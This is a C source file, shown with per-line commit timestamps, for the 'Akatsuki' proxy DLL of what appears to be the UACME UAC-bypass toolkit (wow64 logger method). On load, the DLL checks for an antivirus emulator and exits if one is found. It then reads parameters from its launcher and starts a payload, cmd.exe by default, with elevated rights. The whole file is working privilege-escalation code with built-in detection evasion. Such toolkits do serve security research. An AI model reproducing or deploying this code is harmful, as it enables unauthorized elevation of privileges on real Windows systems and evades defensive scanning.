2017-03-25 12:39:31 +00:00
|
|
|
/*******************************************************************************
|
|
|
|
*
|
2019-03-23 06:47:36 +00:00
|
|
|
* (C) COPYRIGHT AUTHORS, 2016 - 2019
|
2017-03-25 12:39:31 +00:00
|
|
|
*
|
|
|
|
* TITLE: DLLMAIN.C
|
|
|
|
*
|
2019-03-23 06:47:36 +00:00
|
|
|
* VERSION: 3.17
|
2017-03-25 12:39:31 +00:00
|
|
|
*
|
2019-03-23 06:47:36 +00:00
|
|
|
* DATE: 20 Mar 2019
|
2017-03-25 12:39:31 +00:00
|
|
|
*
|
|
|
|
* Proxy dll entry point, Akatsuki.
|
|
|
|
* Special dll for wow64 logger method.
|
|
|
|
* Akatsuki must be special, isn't it?
|
|
|
|
*
|
|
|
|
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
|
|
|
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
|
|
|
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
|
|
|
* PARTICULAR PURPOSE.
|
|
|
|
*
|
|
|
|
*******************************************************************************/
|
|
|
|
|
|
|
|
#if !defined UNICODE
|
|
|
|
#error ANSI build is not supported
|
|
|
|
#endif
|
|
|
|
|
2018-11-21 05:14:29 +00:00
|
|
|
#include "shared\shared.h"
|
2018-10-11 08:42:35 +00:00
|
|
|
#include "shared\libinc.h"
|
2017-03-25 12:39:31 +00:00
|
|
|
|
2017-09-08 12:20:05 +00:00
|
|
|
#define LoadedMsg TEXT("Akatsuki lock and loaded")
|
|
|
|
|
|
|
|
HANDLE g_SyncMutant = NULL;
|
2017-03-25 12:39:31 +00:00
|
|
|
|
2018-11-13 09:58:29 +00:00
|
|
|
UACME_PARAM_BLOCK g_SharedParams;
|
|
|
|
|
|
|
|
|
2017-03-25 12:39:31 +00:00
|
|
|
/*
|
|
|
|
* DummyFunc
|
|
|
|
*
|
|
|
|
* Purpose:
|
|
|
|
*
|
|
|
|
* Stub for fake exports.
|
|
|
|
*
|
|
|
|
*/
|
|
|
|
VOID WINAPI DummyFunc(
|
|
|
|
VOID
|
|
|
|
)
|
|
|
|
{
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
/*
|
2017-09-08 12:20:05 +00:00
|
|
|
* DbgDumpRuntimeInfo
|
2017-03-25 12:39:31 +00:00
|
|
|
*
|
|
|
|
* Purpose:
|
|
|
|
*
|
2018-11-13 09:58:29 +00:00
|
|
|
* Dump runtime info to the file, this routine is only for debug builds.
|
2017-03-25 12:39:31 +00:00
|
|
|
*
|
|
|
|
*/
|
2017-09-08 12:20:05 +00:00
|
|
|
VOID DbgDumpRuntimeInfo()
|
2017-03-25 12:39:31 +00:00
|
|
|
{
|
2017-09-08 12:20:05 +00:00
|
|
|
HANDLE hFile = INVALID_HANDLE_VALUE;
|
|
|
|
WCHAR szReportName[MAX_PATH * 2];
|
|
|
|
WCHAR sysdir[MAX_PATH + 1];
|
2017-03-25 12:39:31 +00:00
|
|
|
|
2017-09-08 12:20:05 +00:00
|
|
|
DWORD cch;
|
|
|
|
LPWSTR lpText = NULL;
|
2017-03-25 12:39:31 +00:00
|
|
|
|
2017-09-08 12:20:05 +00:00
|
|
|
DWORD bytesIO;
|
|
|
|
WCHAR ch;
|
2017-03-25 12:39:31 +00:00
|
|
|
|
2017-09-08 12:20:05 +00:00
|
|
|
cch = ucmExpandEnvironmentStrings(L"%temp%\\", sysdir, MAX_PATH);
|
|
|
|
if ((cch != 0) && (cch < MAX_PATH)) {
|
|
|
|
_strcpy(szReportName, sysdir);
|
|
|
|
_strcat(szReportName, TEXT("report_"));
|
|
|
|
ultostr(GetCurrentProcessId(), _strend(szReportName));
|
|
|
|
_strcat(szReportName, TEXT(".txt"));
|
2017-03-25 12:39:31 +00:00
|
|
|
|
2017-09-08 12:20:05 +00:00
|
|
|
hFile = CreateFile(szReportName, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, 0, NULL);
|
|
|
|
if (hFile != INVALID_HANDLE_VALUE) {
|
2017-03-25 12:39:31 +00:00
|
|
|
|
2017-09-08 12:20:05 +00:00
|
|
|
ch = (WCHAR)0xFEFF;
|
|
|
|
WriteFile(hFile, &ch, sizeof(WCHAR), &bytesIO, NULL);
|
2017-03-25 12:39:31 +00:00
|
|
|
|
2017-09-08 12:20:05 +00:00
|
|
|
lpText = ucmQueryRuntimeInfo(TRUE);
|
|
|
|
if (lpText) {
|
|
|
|
WriteFile(hFile, lpText, (DWORD)(_strlen(lpText) * sizeof(WCHAR)), &bytesIO, NULL);
|
|
|
|
ucmDestroyRuntimeInfo(lpText);
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
2017-09-08 12:20:05 +00:00
|
|
|
CloseHandle(hFile);
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
/*
|
2017-09-08 12:20:05 +00:00
|
|
|
* DefaultPayload
|
2017-03-25 12:39:31 +00:00
|
|
|
*
|
|
|
|
* Purpose:
|
|
|
|
*
|
2017-09-08 12:20:05 +00:00
|
|
|
* Process parameter if exist or start cmd.exe and exit immediatelly.
|
2017-03-25 12:39:31 +00:00
|
|
|
*
|
|
|
|
*/
|
2017-09-08 12:20:05 +00:00
|
|
|
VOID DefaultPayload(
|
|
|
|
VOID
|
2017-03-25 12:39:31 +00:00
|
|
|
)
|
|
|
|
{
|
2018-11-13 09:58:29 +00:00
|
|
|
BOOL bSharedParamsReadOk;
|
|
|
|
UINT ExitCode;
|
|
|
|
PWSTR lpParameter;
|
|
|
|
ULONG cbParameter;
|
|
|
|
|
|
|
|
BOOL bIsLocalSystem = FALSE;
|
|
|
|
ULONG SessionId;
|
2017-09-08 12:20:05 +00:00
|
|
|
|
|
|
|
if (ucmCreateSyncMutant(&g_SyncMutant) == STATUS_OBJECT_NAME_COLLISION)
|
|
|
|
ExitProcess(0);
|
|
|
|
|
2018-11-13 09:58:29 +00:00
|
|
|
//
|
|
|
|
// Read shared params block.
|
|
|
|
//
|
|
|
|
RtlSecureZeroMemory(&g_SharedParams, sizeof(g_SharedParams));
|
|
|
|
bSharedParamsReadOk = ucmReadSharedParameters(&g_SharedParams);
|
|
|
|
if (bSharedParamsReadOk) {
|
|
|
|
lpParameter = g_SharedParams.szParameter;
|
|
|
|
cbParameter = (ULONG)(_strlen(g_SharedParams.szParameter) * sizeof(WCHAR));
|
|
|
|
SessionId = g_SharedParams.SessionId;
|
|
|
|
}
|
|
|
|
else {
|
|
|
|
lpParameter = NULL;
|
|
|
|
cbParameter = 0UL;
|
|
|
|
SessionId = 0;
|
|
|
|
}
|
2017-09-08 12:20:05 +00:00
|
|
|
|
2018-11-13 09:58:29 +00:00
|
|
|
ucmIsLocalSystem(&bIsLocalSystem);
|
2017-09-08 12:20:05 +00:00
|
|
|
|
2018-11-13 09:58:29 +00:00
|
|
|
ExitCode = (ucmLaunchPayload2(
|
2017-09-08 12:20:05 +00:00
|
|
|
bIsLocalSystem,
|
|
|
|
SessionId,
|
|
|
|
lpParameter,
|
2019-03-23 06:47:36 +00:00
|
|
|
cbParameter) != FALSE);
|
2017-09-08 12:20:05 +00:00
|
|
|
|
2018-11-13 09:58:29 +00:00
|
|
|
//
|
|
|
|
// Notify Akagi.
|
|
|
|
//
|
|
|
|
if (bSharedParamsReadOk) {
|
|
|
|
ucmSetCompletion(g_SharedParams.szSignalObject);
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
|
2018-11-13 09:58:29 +00:00
|
|
|
ExitProcess(ExitCode);
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
/*
|
|
|
|
* DllMain
|
|
|
|
*
|
|
|
|
* Purpose:
|
|
|
|
*
|
2017-09-08 12:20:05 +00:00
|
|
|
* Proxy dll entry point.
|
2017-03-25 12:39:31 +00:00
|
|
|
*
|
|
|
|
*/
|
|
|
|
BOOL WINAPI DllMain(
|
|
|
|
_In_ HINSTANCE hinstDLL,
|
|
|
|
_In_ DWORD fdwReason,
|
|
|
|
_In_ LPVOID lpvReserved
|
|
|
|
)
|
|
|
|
{
|
|
|
|
UNREFERENCED_PARAMETER(hinstDLL);
|
|
|
|
UNREFERENCED_PARAMETER(lpvReserved);
|
|
|
|
|
2018-06-15 11:44:01 +00:00
|
|
|
if (wdIsEmulatorPresent() == STATUS_NEEDS_REMEDIATION)
|
|
|
|
ExitProcess('Foff');
|
|
|
|
|
2017-03-25 12:39:31 +00:00
|
|
|
if (fdwReason == DLL_PROCESS_ATTACH) {
|
2017-09-08 12:20:05 +00:00
|
|
|
OutputDebugString(LoadedMsg);
|
|
|
|
//DbgDumpRuntimeInfo();
|
|
|
|
DefaultPayload();
|
2017-03-25 12:39:31 +00:00
|
|
|
}
|
|
|
|
return TRUE;
|
|
|
|
}
|